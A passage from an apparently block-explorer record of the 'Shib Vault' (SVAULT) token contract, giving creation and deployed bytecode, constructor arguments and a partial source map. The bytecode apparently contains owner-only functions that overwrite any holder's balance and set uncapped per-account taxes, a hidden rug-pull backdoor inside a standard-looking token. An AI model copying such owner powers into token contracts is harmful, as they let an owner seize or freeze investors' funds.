52611e4681611e0a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ea9602483611858565b9150611eb482611e4d565b604082019050919050565b60006020820190508181036000830152611ed881611e9c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f3b602283611858565b9150611f4682611edf565b604082019050919050565b60006020820190508181036000830152611f6a81611f2e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611fa7601d83611858565b9150611fb282611f71565b602082019050919050565b60006020820190508181036000830152611fd681611f9a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612039602583611858565b915061204482611fdd565b604082019050919050565b600060208201905081810360008301526120688161202c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120cb602383611858565b91506120d68261206f565b604082019050919050565b600060208201905081810360008301526120fa816120be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061215d602683611858565b915061216882612101565b604082019050919050565b6000602082019050818103600083015261218c81612150565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121cd82611962565b91506121d883611962565b92508282039050818111156121f0576121ef612193565b5b92915050565b600061220182611962565b915061220c83611962565b925082820261221a81611962565b9150828204841483151761223157612230612193565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061227282611962565b915061227d83611962565b92508261228d5761228c612238565b5b828204905092915050565b60006122a382611962565b91506122ae83611962565b92508282019050808211156122c6576122c5612193565b5b9291505056fea2646970667358221220c96bf75c94f30cf3795d276883c38c3653c9c628884c27dd31710a56b331bc5864736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000a53686962205661756c74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006535641554c540000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102b9578063a9059cbb146102d7578063c1f1b1b514610307578063dd62ed3e14610311578063f2fde38b1461034157610116565b806370a0823114610245578063715018a6146102755780638da5cb5b1461027f57806390ec57f11461029d57610116565b806313b2a23e116100e957806313b2a23e146101a157806318160ddd146101bd57806323b872dd146101db578063313ce5671461020b5780634db23e3e1461022957610116565b806306fdde031461011b578063095ea7b31461013957806310bad4cf1461016957806311e330b214610185575b600080fd5b61012361035d565b60405161013091906118dd565b60405180910390f35b610153600480360381019061014e9190611998565b6103ef565b60405161016091906119f3565b60405180910390f35b610183600480360381019061017e9190611a0e565b610412565b005b61019f600480360381019061019a9190611a0e565b610498565b005b6101bb60048036038101906101b69190611a67565b61051e565b005b6101c56105f5565b6040516101d29190611ab6565b60405180910390f35b6101f560048036038101906101f09190611ad1565b6105ff565b60405161020291906119f3565b60405180910390f35b61021361062e565b6040516102209190611b40565b60405180910390f35b610243600480360381019061023e9190611998565b610637565b005b61025f600480360381019061025a9190611b5b565b6106fb565b60405161026c9190611ab6565b60405180910390f35b61027d610744565b005b6102876107cc565b6040516102949190611b97565b60405180910390f35b6102b760048036038101906102b29190611998565b6107f6565b005b6102c16108fe565b6040516102ce91906118dd565b60405180910390f35b6102f160048036038101906102ec9190611998565b610990565b6040516102fe91906119f3565b60405180910390f35b61030f6109ae565b005b61032b60048036038101906103269190611bb2565b610c0a565b6040516103389190611ab6565b60405180910390f35b61035b60048036038101906103569190611b5b565b610c90565b005b60606002805461036c90611c21565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611c21565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000806103fa610d87565b9050610407818585610d8f565b600191505092915050565b61041a610d87565b73ffffffffffffffffffffffffffffffffffffffff166104386107cc565b73ffffffffffffffffffffffffffffffffffffffff161461048e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048590611c9e565b60405180910390fd5b8060088190555050565b6104a0610d87565b73ffffffffffffffffffffffffffffffffffffffff166104be6107cc565b73ffffffffffffffffffffffffffffffffffffffff1614610514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050b90611c9e565b60405180910390fd5b8060098190555050565b610526610d87565b73ffffffffffffffffffffffffffffffffffffffff166105446107cc565b73ffffffffffffffffffffffffffffffffffffffff161461059a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059190611c9e565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b60008061060a610d87565b9050610617858285610f57565b610622858585610fe3565b60019150509392505050565b60006012905090565b61063f610d87565b73ffffffffffffffffffffffffffffffffffffffff1661065d6107cc565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa90611c9e565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61074c610d87565b73ffffffffffffffffffffffffffffffffffffffff1661076a6107cc565b73ffffffffffffffffffffffffffffffffffffffff16146107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b790611c9e565b60405180910390fd5b6107ca6000611684565b565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107fe610d87565b73ffffffffffffffffffffffffffffffffffffffff1661081c6107cc565b73ffffffffffffffffffffffffffffffffffffffff1614610872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086990611c9e565b60405180910390fd5b60008110156108b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ad90611d30565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60606003805461090d90611c21565b80601f016020809104026020016040519081016040528092919081815260200182805461093990611c21565b80156109865780601f1061095b57610100808354040283529160200191610986565b820191906000526020600020905b81548152906001019060200180831161096957829003601f168201915b5050505050905090565b60006109a461099d610d87565b8484610fe3565b6001905092915050565b6109b6610d87565b73ffffffffffffffffffffffffffffffffffffffff166109d46107cc565b73ffffffffffffffffffffffffffffffffffffffff1614610a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2190611c9e565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abb9190611d65565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b689190611d65565b6040518363ffffffff1660e01b8152600401610b85929190611d92565b6020604051808303816000875af1158015610ba4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc89190611d65565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c98610d87565b73ffffffffffffffffffffffffffffffffffffffff16610cb66107cc565b73ffffffffffffffffffffffffffffffffffffffff1614610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390611c9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290611e2d565b60405180910390fd5b610d8481611684565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590611ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6490611f51565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f4a9190611ab6565b60405180910390a3505050565b6000610f638484610c0a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610fdd5781811015610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc690611fbd565b60405180910390fd5b610fdc8484848403610d8f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611052576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110499061204f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b8906120e1565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90612173565b60405180910390fd5b600060019050611158858561174a565b1561116257600090505b6000811561132d5760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127857600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361121c5760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036112775760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561130357600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b611329606461131b83886117f590919063ffffffff16565b61180b90919063ffffffff16565b9150505b60008111156114cc5761138881600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141f816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183790919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114c39190611ab6565b60405180910390a35b61152981856114db91906121c2565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c9818561157b91906121c2565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838761166791906121c2565b6040516116749190611ab6565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117ed5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b6000818361180391906121f6565b905092915050565b600081836118199190612267565b905092915050565b6000818361182f91906121c2565b905092915050565b600081836118459190612298565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561188757808201518184015260208101905061186c565b60008484015250505050565b6000601f19601f8301169050919050565b60006118af8261184d565b6118b98185611858565b93506118c9818560208601611869565b6118d281611893565b840191505092915050565b600060208201905081810360008301526118f781846118a4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061192f82611904565b9050919050565b61193f81611924565b811461194a57600080fd5b50565b60008135905061195c81611936565b92915050565b6000819050919050565b61197581611962565b811461198057600080fd5b50565b6000813590506119928161196c565b92915050565b600080604083850312156119af576119ae6118ff565b5b60006119bd8582860161194d565b92505060206119ce85828601611983565b9150509250929050565b60008115159050919050565b6119ed816119d8565b82525050565b6000602082019050611a0860008301846119e4565b92915050565b600060208284031215611a2457611a236118ff565b5b6000611a3284828501611983565b91505092915050565b611a44816119d8565b8114611a4f57600080fd5b50565b600081359050611a6181611a3b565b92915050565b60008060408385031215611a7e57611a7d6118ff565b5b6000611a8c8582860161194d565b9250506020611a9d85828601611a52565b9150509250929050565b611ab081611962565b82525050565b6000602082019050611acb6000830184611aa7565b92915050565b600080600060608486031215611aea57611ae96118ff565b5b6000611af88682870161194d565b9350506020611b098682870161194d565b9250506040611b1a86828701611983565b9150509250925092565b600060ff82169050919050565b611b3a81611b24565b82525050565b6000602082019050611b556000830184611b31565b92915050565b600060208284031215611b7157611b706118ff565b5b6000611b7f8482850161194d565b91505092915050565b611b9181611924565b82525050565b6000602082019050611bac6000830184611b88565b92915050565b60008060408385031215611bc957611bc86118ff565b5b6000611bd78582860161194d565b9250506020611be88582860161194d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c3957607f821691505b602082108103611c4c57611c4b611bf2565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611c88602083611858565b9150611c9382611c52565b602082019050919050565b60006020820190508181036000830152611cb781611c7b565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611d1a602e83611858565b9150611d2582611cbe565b604082019050919050565b60006020820190508181036000830152611d4981611d0d565b9050919050565b600081519050611d5f81611936565b92915050565b600060208284031215611d7b57611d7a6118ff565b5b6000611d8984828501611d50565b91505092915050565b6000604082019050611da76000830185611b88565b611db46020830184611b88565b9392505050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e17602683611858565b9150611e2282611dbb565b604082019050919050565b60006020820190508181036000830152611e4681611e0a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ea9602483611858565b9150611eb482611e4d565b604082019050919050565b60006020820190508181036000830152611ed881611e9c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f3b602283611858565b9150611f4682611edf565b604082019050919050565b60006020820190508181036000830152611f6a81611f2e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611fa7601d83611858565b9150611fb282611f71565b602082019050919050565b60006020820190508181036000830152611fd681611f9a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612039602583611858565b915061204482611fdd565b604082019050919050565b600060208201905081810360008301526120688161202c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120cb602383611858565b91506120d68261206f565b604082019050919050565b600060208201905081810360008301526120fa816120be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061215d602683611858565b915061216882612101565b604082019050919050565b6000602082019050818103600083015261218c81612150565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121cd82611962565b91506121d883611962565b92508282039050818111156121f0576121ef612193565b5b92915050565b600061220182611962565b915061220c83611962565b925082820261221a81611962565b9150828204841483151761223157612230612193565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061227282611962565b915061227d83611962565b92508261228d5761228c612238565b5b828204905092915050565b60006122a382611962565b91506122ae83611962565b92508282019050808211156122c6576122c5612193565b5b9291505056fea2646970667358221220c96bf75c94f30cf3795d276883c38c3653c9c628884c27dd31710a56b331bc5864736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000a53686962205661756c74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006535641554c540000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Shib Vault
Arg [1] : symbol_ (string): SVAULT
Arg [2] : totalSupply_ (uint256): 100000000
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [4] : 53686962205661756c7400000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 535641554c540000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
5251:4553:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3654:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4205:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8436:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8330:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8745:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3948:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9139:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3856:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8864:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8029:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;789:103;;;:::i;:::-;;566:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8541:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3753:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8979:152;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8155:167;;;:::i;:::-;;4055:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;900:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3654:91;3699:13;3732:5;3725:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3654:91;:::o;4205:192::-;4279:4;4296:13;4312:12;:10;:12::i;:::-;4296:28;;4335:32;4344:5;4351:7;4360:6;4335:8;:32::i;:::-;4385:4;4378:11;;;4205:192;;;;:::o;8436:97::-;712:12;:10;:12::i;:::-;701:23;;:7;:5;:7::i;:::-;:23;;;693:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8519:6:::1;8509:7;:16;;;;8436:97:::0;:::o;8330:98::-;712:12;:10;:12::i;:::-;701:23;;:7;:5;:7::i;:::-;:23;;;693:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8414:6:::1;8403:8;:17;;;;8330:98:::0;:::o;8745:111::-;712:12;:10;:12::i;:::-;701:23;;:7;:5;:7::i;:::-;:23;;;693:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8842:6:::1;8823;:16;8830:8;8823:16;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;8745:111:::0;;:::o;3948:99::-;4000:7;4027:12;;4020:19;;3948:99;:::o;9139:286::-;9261:4;9278:15;9296:12;:10;:12::i;:::-;9278:30;;9319:38;9335:4;9341:7;9350:6;9319:15;:38::i;:::-;9368:27;9378:4;9384:2;9388:6;9368:9;:27::i;:::-;9413:4;9406:11;;;9139:286;;;;;:::o;3856:84::-;3905:5;3930:2;3923:9;;3856:84;:::o;8864:107::-;712:12;:10;:12::i;:::-;701:23;;:7;:5;:7::i;:::-;:23;;;693:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8957:6:::1;8941:9;:13;8951:2;8941:13;;;;;;;;;;;;;;;:22;;;;8864:107:::0;;:::o;8029:118::-;8094:7;8121:9;:18;8131:7;8121:18;;;;;;;;;;;;;;;;8114:25;;8029:118;;;:::o;789:103::-;712:12;:10;:12::i;:::-;701:23;;:7;:5;:7::i;:::-;:23;;;693:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;854:30:::1;881:1;854:18;:30::i;:::-;789:103::o:0;566:87::-;612:7;639:6;;;;;;;;;;;632:13;;566:87;:::o;8541:196::-;712:12;:10;:12::i;:::-;701:23;;:7;:5;:7::i;:::-;:23;;;693:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8640:1:::1;8630:6;:11;;8622:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8723:6;8703:7;:17;8711:8;8703:17;;;;;;;;;;;;;;;:26;;;;8541:196:::0;;:::o;3753:95::-;3800:13;3833:7;3826:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3753:95;:::o;8979:152::-;9049:4;9066:35;9076:12;:10;:12::i;:::-;9090:2;9094:6;9066:9;:35::i;:::-;9119:4;9112:11;;8979:152;;;;:::o;8155:167::-;712:12;:10;:12::i;:::-;701:23;;:7;:5;:7::i;:::-;:23;;;693:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8238:15:::1;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8220:55;;;8284:4;8291:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8220:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8204:13;;:110;;;;;;;;;;;;;;;;;;8155:167::o:0;4055:142::-;4135:7;4162:11;:18;4174:5;4162:18;;;;;;;;;;;;;;;:27;4181:7;4162:27;;;;;;;;;;;;;;;;4155:34;;4055:142;;;;:::o;900:201::-;712:12;:10;:12::i;:::-;701:23;;:7;:5;:7::i;:::-;:23;;;693:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1009:1:::1;989:22;;:8;:22;;::::0;981:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1065:28;1084:8;1065:18;:28::i;:::-;900:201:::0;:::o;217:98::-;270:7;297:10;290:17;;217:98;:::o;4405:378::-;4558:1;4541:19;;:5;:19;;;4533:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4639:1;4620:21;;:7;:21;;;4612:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4721:6;4691:11;:18;4703:5;4691:18;;;;;;;;;;;;;;;:27;4710:7;4691:27;;;;;;;;;;;;;;;:36;;;;4759:7;4743:32;;4752:5;4743:32;;;4768:6;4743:32;;;;;;:::i;:::-;;;;;;;;4405:378;;;:::o;4791:453::-;4926:24;4953:25;4963:5;4970:7;4953:9;:25::i;:::-;4926:52;;5013:17;4993:16;:37;4989:248;;5075:6;5055:16;:26;;5047:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5159:51;5168:5;5175:7;5203:6;5184:16;:25;5159:8;:51::i;:::-;4989:248;4915:329;4791:453;;;:::o;6367:1512::-;6515:1;6499:18;;:4;:18;;;6491:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6592:1;6578:16;;:2;:16;;;6570:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6645:19;6667:9;:15;6677:4;6667:15;;;;;;;;;;;;;;;;6645:37;;6716:7;6701:11;:22;;6693:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6777:7;6787:4;6777:14;;6806:27;6824:4;6830:2;6806:17;:27::i;:::-;6802:70;;;6855:5;6850:10;;6802:70;6882:22;6923:2;6919:487;;;6942:16;7006:1;6981:27;;:13;;;;;;;;;;;:27;;;6977:260;;7039:13;;;;;;;;;;;7033:19;;:2;:19;;;7029:87;;7088:8;;7077:19;;7029:87;7146:13;;;;;;;;;;;7138:21;;:4;:21;;;7134:88;;7195:7;;7184:18;;7134:88;6977:260;7271:1;7255:7;:13;7263:4;7255:13;;;;;;;;;;;;;;;;:17;7251:82;;;7304:7;:13;7312:4;7304:13;;;;;;;;;;;;;;;;7293:24;;7251:82;7364:30;7390:3;7364:21;7376:8;7364:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7347:47;;6927:479;6919:487;7437:1;7420:14;:18;7416:252;;;7473:35;7493:14;7473:9;:15;7483:4;7473:15;;;;;;;;;;;;;;;;:19;;:35;;;;:::i;:::-;7455:9;:15;7465:4;7455:15;;;;;;;;;;;;;;;:53;;;;7549:43;7577:14;7549:9;:23;5623:42;7549:23;;;;;;;;;;;;;;;;:27;;:43;;;;:::i;:::-;7523:9;:23;5623:42;7523:23;;;;;;;;;;;;;;;:69;;;;5623:42;7612:44;;7621:4;7612:44;;;7641:14;7612:44;;;;;;:::i;:::-;;;;;;;;7416:252;7696:45;7726:14;7716:7;:24;;;;:::i;:::-;7696:9;:15;7706:4;7696:15;;;;;;;;;;;;;;;;:19;;:45;;;;:::i;:::-;7678:9;:15;7688:4;7678:15;;;;;;;;;;;;;;;:63;;;;7768:43;7796:14;7786:7;:24;;;;:::i;:::-;7768:9;:13;7778:2;7768:13;;;;;;;;;;;;;;;;:17;;:43;;;;:::i;:::-;7752:9;:13;7762:2;7752:13;;;;;;;;;;;;;;;:59;;;;7842:2;7827:44;;7836:4;7827:44;;;7856:14;7846:7;:24;;;;:::i;:::-;7827:44;;;;;;:::i;:::-;;;;;;;;6480:1399;;;6367:1512;;;:::o;1109:191::-;1183:16;1202:6;;;;;;;;;;;1183:25;;1228:8;1219:6;;:17;;;;;;;;;;;;;;;;;;1283:8;1252:40;;1273:8;1252:40;;;;;;;;;;;;1172:128;1109:191;:::o;7887:134::-;7963:4;7987:6;:12;7994:4;7987:12;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;;8003:6;:10;8010:2;8003:10;;;;;;;;;;;;;;;;;;;;;;;;;7987:26;7980:33;;7887:134;;;;:::o;1548:98::-;1606:7;1637:1;1633;:5;;;;:::i;:::-;1626:12;;1548:98;;;;:::o;1654:::-;1712:7;1743:1;1739;:5;;;;:::i;:::-;1732:12;;1654:98;;;;:::o;1442:::-;1500:7;1531:1;1527;:5;;;;:::i;:::-;1520:12;;1442:98;;;;:::o;1336:::-;1394:7;1425:1;1421;:5;;;;:::i;:::-;1414:12;;1336:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225: